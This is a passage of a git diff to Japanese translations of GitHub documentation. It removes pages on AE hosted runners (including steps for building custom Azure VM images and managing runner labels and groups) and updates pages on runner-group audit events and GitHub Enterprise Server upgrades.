詳しい情報については、「[セルフホストランナーをグループに移動する](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)」を参照してください。 | -| `org.runner_group_runner_removed` | セルフホストランナーをグループから削除するのにREST APIが使われたときにトリガーされます。 詳しい情報については、「[Organization のグループからセルフホストランナーを削除する](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)」を参照してください。 | +### Events for self-hosted runner groups +| Action | Description +|------------------|------------------- +| `enterprise.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an enterprise](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)." +| `enterprise.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)." +| `enterprise.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. +| `enterprise.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)." +| `enterprise.runner_group_updated` |Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." +| `org.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)." +| `org.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)." +| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." +| `org.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)." +| `org.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)." -### ワークフローアクティビティのイベント +### Events for workflow activities {% data reusables.actions.actions-audit-events-workflow %} diff --git a/translations/ja-JP/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md b/translations/ja-JP/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md deleted file mode 100644 index 0fbbcf5690..0000000000 --- a/translations/ja-JP/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: About AE hosted runners -intro: '{% data variables.product.prodname_ghe_managed %} offers customizable and security hardened hosted virtual machines to run {% data variables.product.prodname_actions %} workflows. You can select the hardware, bring your own machine image, and enable an IP address for networking with your {% data variables.actions.hosted_runner %}.' -versions: - ghae: '*' ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -## {% data variables.actions.hosted_runner %} について - -An {% data variables.actions.hosted_runner %} is a virtual machine managed by {% data variables.product.prodname_dotcom %} with the {% data variables.product.prodname_actions %} runner service installed. {% data variables.actions.hosted_runner %}s are dedicated to your enterprise, and you can choose from a range of hardware and software options. By default, {% data variables.actions.hosted_runner %}s are fully managed and auto-scaled by {% data variables.product.company_short %} to maximize performance while minimizing costs.{% ifversion ghae-next %} You can optionally configure the parameters of this auto-scaling to reduce your cost even more.{% endif %} - -{% data variables.product.prodname_ghe_managed %} lets you create and customize {% data variables.actions.hosted_runner %}s using Ubuntu or Windows images; you can select the size of machine you want and optionally configure a fixed public IP range for your {% data variables.actions.hosted_runner %}s. - -Each workflow job is executed in a fresh instance of the {% data variables.actions.hosted_runner %}, and you can run workflows directly on the virtual machine or in a Docker container. All steps in the job execute in the same instance, allowing the actions in that job to share information using the {% data variables.actions.hosted_runner %}'s filesystem. - -To add {% data variables.actions.hosted_runner %}s to your organization or enterprise, see ["Adding {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/adding-ae-hosted-runners)." - -## Pool assignments for {% data variables.actions.hosted_runner %}s - -Your {% data variables.actions.hosted_runner %}s are allocated to the same pool as your {% data variables.product.prodname_ghe_managed %} instance. No other customers have access to this pool, and as a result, {% data variables.actions.hosted_runner %}s are not shared with any other customers. - -## Managing your {% data variables.actions.hosted_runner %}s - -During the {% data variables.actions.hosted_runner %} beta, you can manage your {% data variables.actions.hosted_runner %}s by contacting {% data variables.product.prodname_dotcom %} support. For example, {% data variables.product.prodname_dotcom %} support can assist you with adding a new {% data variables.actions.hosted_runner %}, assigning labels, or moving a {% data variables.actions.hosted_runner %} to a different group. - -## 支払い - -Once the beta ends, billed usage will include the full uptime of active instances in your AE hosted runner sets. これは以下のものが含まれます。 -- Job time - minutes spent running Actions job. -- Management - minutes spent re-imaging machines{% ifversion ghae-next %} and any idle time created as a result of desired auto-scale behavior{% endif %}. - -Pricing will scale linearly with cores. For example, 4 cores will be twice the price of 2 cores. Windows VMs will be priced higher than Linux VMs. - -## Hardware specifications - -{% data variables.actions.hosted_runner %}s are available on a range of virtual machines hosted in Microsoft Azure. Depending on regional availability, you can choose from `Standard_Das_v4`, `Standard_DS_v2`, `Standard_Fs_v2 series`. Certain regions also include GPU runners based on `Standard_NCs_v3`. - -For more information about these Azure machine resources, see "[Sizes for virtual machines in Azure](https://docs.microsoft.com/en-gb/azure/virtual-machines/sizes)" in the Microsoft Azure documentation. - -To determine which runner executed a job, you can review the workflow logs. 詳しい情報については、「[ワークフロー実行の履歴を表示する](/actions/managing-workflow-runs/viewing-workflow-run-history)」を参照してください。 - -## Software specifications - -You can use {% data variables.actions.hosted_runner %}s with standard operating system images, or you can add images that you've created. - -### Default operating system images - -These images only include the standard operating system tools: - -- Ubuntu 18.04 LTS (Canonical) -- Ubuntu 16.04 LTS (Canonical) -- Windows Server 2019 (Microsoft) -- Windows Server 2016 (Microsoft) - -### Custom operating system images - -You can create your own OS images in Azure and have them added to {% data variables.product.prodname_ghe_managed %} as {% data variables.actions.hosted_runner %}s. For more information, see "[Adding an {% data variables.actions.hosted_runner %} with a custom image"](/actions/using-github-hosted-runners/adding-ae-hosted-runners#adding-an-ae-hosted-runner-with-a-custom-image). - -## Network specifications - -You can optionally enable a fixed static public IP address for your {% data variables.actions.hosted_runner %}s. If enabled, all {% data variables.actions.hosted_runner %}s in your instance will share a range of 2 to 4 IP addresses, and will communicate using ports on those addresses. - -If you don't enable static public IP addresses, then your {% data variables.actions.hosted_runner %}s will subsequently have the same IP address ranges as the Azure datacenters. Inbound ICMP packets are blocked, so `ping` or `traceroute` commands are not expected to work. - -To get a list of IP address ranges that {% data variables.product.prodname_actions %} uses for {% data variables.actions.hosted_runner %}s, you can use the {% data variables.product.prodname_dotcom %} REST API . 詳しい情報については「[GitHubメタ情報の取得](/rest/reference/meta#get-github-meta-information)」エンドポイントのレスポンス中の`actions`キーを参照してください。 内部リソースへの未認可のアクセスを防ぐために許可リストが必要な場合には、このIPアドレスのリストを利用できます。 - -このAPIが返す{% data variables.product.prodname_actions %}のIPアドレスのリストは、週に1回更新されます。 - -{% ifversion ghae-next %} - -## Autoscaling - -Each pool of {% data variables.actions.hosted_runner %}s is fully managed by {% data variables.product.company_short %} to maximize performance while minimizing costs. Optionally, you can configure the autoscaling parameters for your enterprise by contacting {% data variables.contact.github_support %}. You can define the minimum number of idle runners and how long a runner should remain idle before being removed from the pool. Each pool can contain up to 600 runners. - -{% endif %} - -## Administrative privileges for {% data variables.actions.hosted_runner %}s - -The Linux virtual machines run using passwordless `sudo`. 現在のユーザが持っているよりも高い権限が求められるコマンドやインストールツールを実行する必要がある場合は、パスワードを入力する必要なく、`sudo`を使うことができます。 詳しい情報については、「[Sudo Manual](https://www.sudo.ws/man/1.8.27/sudo.man.html)」を参照してください。 - -Windowsの仮想マシンは、ユーザアカウント制御(UAC)が無効化されて管理者として動作するように設定されています。 詳しい情報については、Windowsのドキュメンテーションの「[ユーザー アカウント制御のしくみ](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/user-account-control/how-user-account-control-works)」を参照してください。 - -## ファイルシステム - -{% data variables.product.prodname_dotcom %}は、仮想マシン上の特定のディレクトリでアクションとシェルコマンドを実行します。 仮想マシン上のファイルパスは静的なものではありません。 `home`、`workspace`、`workflow` ディレクトリのファイルパスを構築するには、{% data variables.product.prodname_dotcom %}が提供している環境変数を使用してください。 - -| ディレクトリ | 環境変数 | 説明 | -| --------------------- | ------------------- | --------------------------------------------------------------------------------------------------------------------------------- | -| `home` | `HOME` | ユーザ関連のデータが含まれます。 たとえば、このディレクトリにはログイン試行からの認証情報を含めることができます。 | -| `workspace` | `GITHUB_WORKSPACE` | アクションとシェルコマンドはこのディレクトリで実行されます。 このディレクトリの内容は、アクションによって変更することができ、後続のアクションでアクセスできます。 | -| `workflow/event.json` | `GITHUB_EVENT_PATH` | ワークフローをトリガーしたwebhookイベントの`POST`ペイロード。 {% data variables.product.prodname_dotcom %}は、アクションを実行するたびにアクション間でファイルの内容を隔離するためにこれを書き換えます。 | - -各ワークフローに対して{% data variables.product.prodname_dotcom %}が作成する環境変数のリストについては、「[環境変数の利用](/github/automating-your-workflow-with-github-actions/using-environment-variables)」を参照してください。 - -### Dockerコンテナのファイルシステム - -Dockerコンテナで実行されるアクションには、 `/github`パスの下に静的なディレクトリがあります。 ただし、Dockerコンテナ内のファイルパスを構築するには、デフォルトの環境変数を使用することを強くお勧めします。 - -{% data variables.product.prodname_dotcom %}は、`/github`パス接頭辞を予約し、アクションのために3つのディレクトリを作成します。 - -- `/github/home` -- `/github/workspace` - {% data reusables.repositories.action-root-user-required %} -- `/github/workflow` diff --git a/translations/ja-JP/content/actions/using-github-hosted-runners/adding-ae-hosted-runners.md b/translations/ja-JP/content/actions/using-github-hosted-runners/adding-ae-hosted-runners.md deleted file mode 100644 index a4e8c56821..0000000000 --- a/translations/ja-JP/content/actions/using-github-hosted-runners/adding-ae-hosted-runners.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Adding AE hosted runners -intro: 'You can add an {% data variables.actions.hosted_runner %} to an organization or an enterprise.' -versions: - ghae: '*' ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -{% note %} - -**Note:** To add {% data variables.actions.hosted_runner %}s to {% data variables.product.prodname_ghe_managed %}, you will need to contact {% data variables.product.prodname_dotcom %} support. This article describes the information that support will need in order to complete this process. - -{% endnote %} - -{% data variables.actions.hosted_runner %}s can use the base Azure operating system images, or you can create your own custom images. - -## Adding an {% data variables.actions.hosted_runner %} from the base Azure image - -You can add {% data variables.actions.hosted_runner %}s that use the base Azure operating system images. To add {% data variables.actions.hosted_runner %}s to your organization or enterprise, contact {% data variables.product.prodname_dotcom %} support and have the following information ready: - - Required operating system: Available options are listed at ["Software specifications](/actions/using-github-hosted-runners/about-ae-hosted-runners#software-specifications)." - - Choose a name for each pool of {% data variables.actions.hosted_runner %}s. These names are created as labels, allowing you to route your workflows to these runners. For more information, see ["Using {% data variables.actions.hosted_runner %}s in a workflow](/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow)."{% ifversion ghae-next %} -{% data reusables.actions.autoscaling-parameters %}{% endif %} - - Where to add the {% data variables.actions.hosted_runner %}: Identify the names of the organizations and enterprises that will receive the runners. - -## Adding an {% data variables.actions.hosted_runner %} with a custom image - -To create a custom operating system image, see the steps at ["Creating custom images"](/actions/using-github-hosted-runners/creating-custom-images). - -Once you've created a custom image using the above steps, contact {% data variables.product.prodname_dotcom %} support and provide the following details: - - - The SAS URI you generated when following the custom image creation steps. - - Type of operating system used by the image: This can be Linux or Windows. - - Image name. - - バージョン. - - VM SKU for the new pool. - - Choose a name for each pool of {% data variables.actions.hosted_runner %}s. These names are created as labels, allowing you to route your workflows to these runners. For more information, see ["Using {% data variables.actions.hosted_runner %}s in a workflow](/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow)."{% ifversion ghae-next %} -{% data reusables.actions.autoscaling-parameters %}{% endif %} - - Where to add the {% data variables.actions.hosted_runner %}: Identify the names of the organizations and enterprises that will receive the runners. - -## Reviewing your {% data variables.actions.hosted_runner %}s - -Once your runners have been added by {% data variables.product.prodname_dotcom %} support, you'll be able to find them in your list of runners: - -{% data reusables.github-actions.hosted-runner-navigate-to-repo-org-enterprise %} -{% data reusables.github-actions.hosted-runner-list %} diff --git a/translations/ja-JP/content/actions/using-github-hosted-runners/creating-custom-images.md b/translations/ja-JP/content/actions/using-github-hosted-runners/creating-custom-images.md deleted file mode 100644 index dd0c3b5683..0000000000 --- a/translations/ja-JP/content/actions/using-github-hosted-runners/creating-custom-images.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Creating custom images -intro: 'You can create custom images for {% data variables.actions.hosted_runner %}s.' -versions: - ghae: '*' ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -## Creating an {% data variables.actions.hosted_runner %} with a custom image - -{% data variables.actions.hosted_runner %}s can use operating system images that you've customized to suit your needs. This article includes the high level steps for creating the image in Azure and preparing it for {% data variables.product.prodname_ghe_managed %}. For more information, refer to [the Azure documentation](https://docs.microsoft.com/en-us/azure/virtual-machines/). - -During this beta, to be able to create a custom image for {% data variables.actions.hosted_runner %}s, you will need an Azure subscription that is able to provision a virtual machine. - - -1. Provision a new VM in your tenant using a marketplace image or a virtual hard drive(VHD). -2. Optionally, install your required software on the VM. -3. Deprovision the VM: - - For Linux: `ssh` to the VM and run: - ```sh - $ sudo waagent -deprovision+user - ``` - - For Windows: Follow the steps described at ["Generalize the source VM by using Sysprep](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/upload-generalized-managed#generalize-the-source-vm-by-using-sysprep)." - -4. Use the Azure CLI to deallocate and generalize the VM: - ```powershell - $resourceGroupName = "octocat-testgroup" - $vmName = "octo-vm" - - Stop-AzVM -ResourceGroupName $resourceGroupName -Name $vmName - Set-AzVM -ResourceGroupName $resourceGroupName -Name $vmName -Generalized - ``` - - Replace `octo-vm` with the name of your virtual machine. - - For more information regarding these steps, see "[How to create a managed image of a virtual machine or VHD](https://docs.microsoft.com/en-us/azure/virtual-machines/linux/capture-image#step-1-deprovision-the-vm)." -5. Generate a SAS URI for the VM's operating system disk. - - Using the Azure Portal: On the disk resource, navigate to **Disk Export**, set `URL expires in (seconds)` to `86400` (24 hours), and generate the URL. - - Using the Azure CLI: - ```powershell - $resourceGroupName = "octocat-testgroup" - $vmName = "octo-vm" - - $vm = Get-AzVM -ResourceGroupName $resourceGroupName -Name $vmName - Grant-AzDiskAccess ` - -ResourceGroupName $resourceGroupName ` - -DiskName $vm.StorageProfile.OsDisk.Name ` - -Access Read ` - -DurationInSecond 86400 - ``` - - Replace `octo-vm` with the name of your virtual machine. - -Once you've created the image, you can have it added to {% data variables.product.prodname_ghe_managed %}. For more information, see ["Adding an {% data variables.actions.hosted_runner %} with a custom image"](/actions/using-github-hosted-runners/adding-ae-hosted-runners#adding-an-ae-hosted-runner-with-a-custom-image). diff --git a/translations/ja-JP/content/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow.md b/translations/ja-JP/content/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow.md deleted file mode 100644 index 95066a23e0..0000000000 --- a/translations/ja-JP/content/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Using AE hosted runners in a workflow -intro: 'You can use labels to send jobs to a pool of {% data variables.actions.hosted_runner %}s.' -versions: - ghae: '*' -shortTitle: Use AE hosted runners ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -## Using {% data variables.actions.hosted_runner %}s in a workflow - -Labels allow you to send workflow jobs to any {% data variables.actions.hosted_runner %} that includes that label. You can use the default labels, and you can create your own custom labels. - -## デフォルトラベルを使ったジョブの転送 - -An {% data variables.actions.hosted_runner %} receives a label when it is added to {% data variables.product.prodname_actions %}. The label is used to indicate where it was assigned. - -You can use your workflow's YAML to send jobs to a specific {% data variables.actions.hosted_runner %} pool. This example demonstrates how to configure a workflow to run on a label called `AE-runner-for-CI`: - -```yaml -runs-on: [AE-runner-for-CI] -``` - -詳細については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on)」を参照してください。 - -## カスタムラベルを使ったジョブの転送 - -You can create custom labels and assign them to your {% data variables.actions.hosted_runner %}s at any time. Custom labels let you send jobs to particular types of runners, based on how they're labeled. - -For example, if you have a job that requires a specific software package, you can create a custom label called `octocat` and assign it to the runners that have the package installed. An {% data variables.actions.hosted_runner %} that matches all the assigned labels will then be eligible to run the job. - -This example shows a job that uses multiple labels: - -```yaml -runs-on: [AE-runner-for-CI, octocat, linux] -``` - -These labels operate cumulatively, so an {% data variables.actions.hosted_runner %}'s labels must match all of them for it to be eligible to process the job. diff --git a/translations/ja-JP/content/actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners.md b/translations/ja-JP/content/actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners.md deleted file mode 100644 index 1da8d8fc44..0000000000 --- a/translations/ja-JP/content/actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners.md +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Using groups to manage access to AE hosted runners -intro: 'You can use policies to limit access to {% data variables.actions.hosted_runner %}s that have been added to an organization or enterprise.' -versions: - ghae: '*' -shortTitle: Manage AE runner groups ---- - -{% data reusables.actions.ae-hosted-runners-beta %} - -## About {% data variables.actions.hosted_runner %} groups - -{% data variables.actions.hosted_runner %} groups are used to control access to {% data variables.actions.hosted_runner %}s at the organization and enterprise level. Enterprise の管理者は、Enterprise 内のどの Organization がランナーグループにアクセスできるかを制御するアクセスポリシーを設定できます。 Organization の管理者は、Organization 内のどのリポジトリがランナーグループにアクセスできるかを制御するアクセスポリシーを設定できます。 - -When an enterprise admin grants an organization access to a runner group, organization admins can see the runner group listed in the organization's {% data variables.actions.hosted_runner %} settings. Organization の管理者は、追加の詳細なリポジトリアクセスポリシーを Enterprise ランナーグループに割り当てることができます。 - -新しいランナーが作成されると、それらは自動的にデフォルトグループに割り当てられます。 ランナーは一度に1つのグループにのみ参加できます。 ランナーはデフォルトグループから別のグループに移動できます。 For more information, see "[Moving an {% data variables.actions.hosted_runner %} to a group](#moving-an-ae-hosted-runner-to-a-group)." - -## Creating an {% data variables.actions.hosted_runner %} group for an organization - -All organizations have a single default {% data variables.actions.hosted_runner %} group. Organizations within an enterprise account can create additional runner groups. Organization の管理者は、個々のリポジトリにランナーグループへのアクセスを許可できます。 - -{% data variables.actions.hosted_runner %}s are automatically assigned to the default group when created, and can only be members of one group at a time. ランナーはデフォルトグループから作成した任意のグループに移動できます。 - -グループを作成する場合、ランナーグループにアクセスできるリポジトリを定義するポリシーを選択する必要があります。 - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.settings-sidebar-actions %} -1. [**Self-hosted runners**] セクションで、[**Add new**] をクリックし、次に [**New group**] をクリックします。 - - ![新しいランナーを追加](/assets/images/help/settings/actions-hosted-runner-add-new-group.png) - - {% data reusables.github-actions.runner-group-assign-policy-repo %} -1. [**Save group**] をクリックしてグループを作成し、ポリシーを適用します。 - -## Creating an {% data variables.actions.hosted_runner %} group for an enterprise - -Enterprises can add their {% data variables.actions.hosted_runner %}s to groups for access management. Enterprises can create groups of {% data variables.actions.hosted_runner %}s that are accessible to specific organizations in the enterprise account. Organization の管理者は、追加の詳細なリポジトリアクセスポリシーを Enterprise ランナーグループに割り当てることができます。 - -{% data variables.actions.hosted_runner %}s are automatically assigned to the default group when created, and can only be members of one group at a time. 登録処理中にランナーを特定のグループに割り当てることも、後でランナーをデフォルトグループからカスタムグループに移動することもできます。 - -グループを作成するときは、ランナーグループにアクセスできる Organization を定義するポリシーを選択する必要があります。 - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -1. [**Self-hosted runners**] タブをクリックします。 -1. [**Add new**] をクリックしてから、[**New group**] をクリックします。 - - ![新しいランナーを追加](/assets/images/help/settings/actions-hosted-runner-add-new-group.png) - - {% data reusables.github-actions.runner-group-assign-policy-org %} - -1. [**Save group**] をクリックしてグループを作成し、ポリシーを適用します。 - -## Changing the access policy of an {% data variables.actions.hosted_runner %} group - -ランナーグループのアクセスポリシーを更新したり、ランナーグループの名前を変更したりすることができます。 - -{% data reusables.github-actions.hosted-runner-configure-runner-group-access %} - -## Moving an {% data variables.actions.hosted_runner %} to a group - -New {% data variables.actions.hosted_runner %}s are automatically assigned to the default group, and can then be moved to another group. - -1. In the **Self-hosted runners** section of the settings page, locate the current group of the runner you want to move and expand the list of group members. ![ランナーグループのメンバーを表示](/assets/images/help/settings/actions-hosted-runner-group-members.png) -1. Select the checkbox next to the runner, and then click **Move to group** to see the available destinations. ![ランナーグループのメンバーを移動](/assets/images/help/settings/actions-hosted-runner-group-member-move.png) -1. To move the runner, click on the destination group. ![ランナーグループのメンバーを移動](/assets/images/help/settings/actions-hosted-runner-group-member-move-destination.png) - -## Removing an {% data variables.actions.hosted_runner %} group - -{% data variables.actions.hosted_runner %}s are automatically returned to the default group when their group is removed. - -1. 設定ページの [**Self-hosted runners**] セクションで、削除するグループを見つけて、{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} ボタンをクリックします。 ![ランナーグループの設定を表示](/assets/images/help/settings/actions-hosted-runner-group-kebab.png) - -1. グループを削除するには、[**Remove group**] をクリックします。 - - ![ランナーグループの設定を表示](/assets/images/help/settings/actions-hosted-runner-group-remove.png) - -1. 確認プロンプトを確認し、[**Remove this runner group**] をクリックします。 diff --git a/translations/ja-JP/content/actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners.md b/translations/ja-JP/content/actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners.md deleted file mode 100644 index fd4f040a9e..0000000000 --- a/translations/ja-JP/content/actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Using labels with AE hosted runners -intro: 'You can use labels to organize your {% data variables.actions.hosted_runner %}s based on their characteristics.' -versions: - ghae: '*' -shortTitle: Label AE hosted runners ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -For information on how to use labels to route jobs to specific types of {% data variables.actions.hosted_runner %}s, see "[Using {% data variables.actions.hosted_runner %}s in a workflow](/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow)." - - -{% note %} - -**Note:** To manage labels for your {% data variables.actions.hosted_runner %}s, you will need to contact {% data variables.product.prodname_dotcom %} support. - -{% endnote %} - -## Viewing the labels for your {% data variables.actions.hosted_runner %}s -{% data reusables.github-actions.hosted-runner-navigate-to-repo-org-enterprise %} -{% data reusables.github-actions.hosted-runner-list %} -{% data reusables.github-actions.hosted-runner-list-group %} -1. Locate the runner you want to check, and click {% octicon "triangle-down" aria-label="The downward triangle" %} to view the label selection menu. すでにランナーに割り当てられているラベルの隣には{% octicon "check" aria-label="Check mark" %}が表示されます。 - -![ランナーラベルの変更](/assets/images/help/settings/actions-hosted-runner-list-label.png) diff --git a/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md b/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md index 829cdf411e..2111abfe4f 100644 --- a/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md +++ b/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md @@ -16,23 +16,27 @@ topics: {% note %} **Notes:** +{% ifversion ghes < 3.3 %}- Features such as {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, {% data variables.product.prodname_mobile %} and {% data variables.product.prodname_GH_advanced_security %} are available on {% data variables.product.prodname_ghe_server %} 3.0 or higher. We highly recommend upgrading to 3.0 or later releases to take advantage of critical security updates, bug fixes and feature enhancements.{% endif %} - Upgrade packages are available at [enterprise.github.com](https://enterprise.github.com/releases) for supported versions. Verify the availability of the upgrade packages you will need to complete the upgrade. If a package is not available, contact {% data variables.contact.contact_ent_support %} for assistance. - If you're using {% data variables.product.prodname_ghe_server %} Clustering, see "[Upgrading a cluster](/enterprise/{{ currentVersion }}/admin/guides/clustering/upgrading-a-cluster/)" in the {% data variables.product.prodname_ghe_server %} Clustering Guide for specific instructions unique to clustering. -- The release notes for {% data variables.product.prodname_ghe_server %} provide a comprehensive list of new features for every version of {% data variables.product.prodname_ghe_server %}. For more information, see the [releases page](https://enterprise.github.com/releases). +- The release notes for {% data variables.product.prodname_ghe_server %} provide a comprehensive list of new features for every version of {% data variables.product.prodname_ghe_server %}. For more information, see the [releases page](https://enterprise.github.com/releases). {% endnote %} ## Recommendations -- Include as few upgrades as possible in your upgrade process. For example, instead of upgrading from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.supported[1] }} to {{ enterpriseServerReleases.latest }}, you could upgrade from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.latest }}. +- Include as few upgrades as possible in your upgrade process. For example, instead of upgrading from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.supported[1] }} to {{ enterpriseServerReleases.latest }}, you could upgrade from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.latest }}. Use the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. - If you’re several versions behind, upgrade {% data variables.product.product_location %} as far forward as possible with each step of your upgrade process. Using the latest version possible on each upgrade allows you to take advantage of performance improvements and bug fixes. For example, you could upgrade from {% data variables.product.prodname_enterprise %} 2.7 to 2.8 to 2.10, but upgrading from {% data variables.product.prodname_enterprise %} 2.7 to 2.9 to 2.10 uses a later version in the second step. - Use the latest patch release when upgrading. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} - Use a staging instance to test the upgrade steps. For more information, see "[Setting up a staging instance](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-staging-instance/)." - When running multiple upgrades, wait at least 24 hours between feature upgrades to allow data migrations and upgrade tasks running in the background to fully complete. +- Take a snapshot before upgrading your virtual machine. For more information, see "[Taking a snapshot](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#taking-a-snapshot)." +- Ensure you have a recent, successful backup of your instance. For more information, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README.md file](https://github.com/github/backup-utils#readme). ## Requirements - You must upgrade from a feature release that's **at most** two releases behind. For example, to upgrade to {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}, you must be on {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} or {{ enterpriseServerReleases.supported[2] }}. +- When upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users. - {% data reusables.enterprise_installation.hotpatching-explanation %} - A hotpatch may require downtime if the affected services (like kernel, MySQL, or Elasticsearch) require a VM reboot or a service restart. You'll be notified when a reboot or restart is required. You can complete the reboot or restart at a later time. - Additional root storage must be available when upgrading through hotpatching, as it installs multiple versions of certain services until the upgrade is complete. Pre-flight checks will notify you if you don't have enough root disk storage. diff --git a/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md b/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md index 8dfba8ca03..4f60cb3784 100644 --- a/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md +++ b/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md @@ -1,6 +1,6 @@ --- -title: GitHub Enterprise Server をアップグレードする -intro: '最新の機能とセキュリティアップデートを入手するために、{% data variables.product.prodname_ghe_server %} をアップグレードしてください。' +title: Upgrading GitHub Enterprise Server +intro: 'Upgrade {% data variables.product.prodname_ghe_server %} to get the latest features and security updates.' redirect_from: - /enterprise/admin/installation/upgrading-github-enterprise-server - /enterprise/admin/articles/upgrading-to-the-latest-release/ @@ -23,139 +23,143 @@ topics: shortTitle: Upgrading GHES --- -## アップグレードの準備 +{% ifversion ghes < 3.3 %}{% data reusables.enterprise.upgrade-ghes-for-features %}{% endif %} -1. アップグレードの戦略を決定し、アップグレード先のバージョンを選択してください。 詳細は「[アップグレードの要求事項](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)」を参照してください。 -3. {% data variables.product.prodname_enterprise_backup_utilities %} で、プライマリインスタンスの新しいバックアップを作成してください。 詳しい情報については、[{% data variables.product.prodname_enterprise_backup_utilities %}README.md 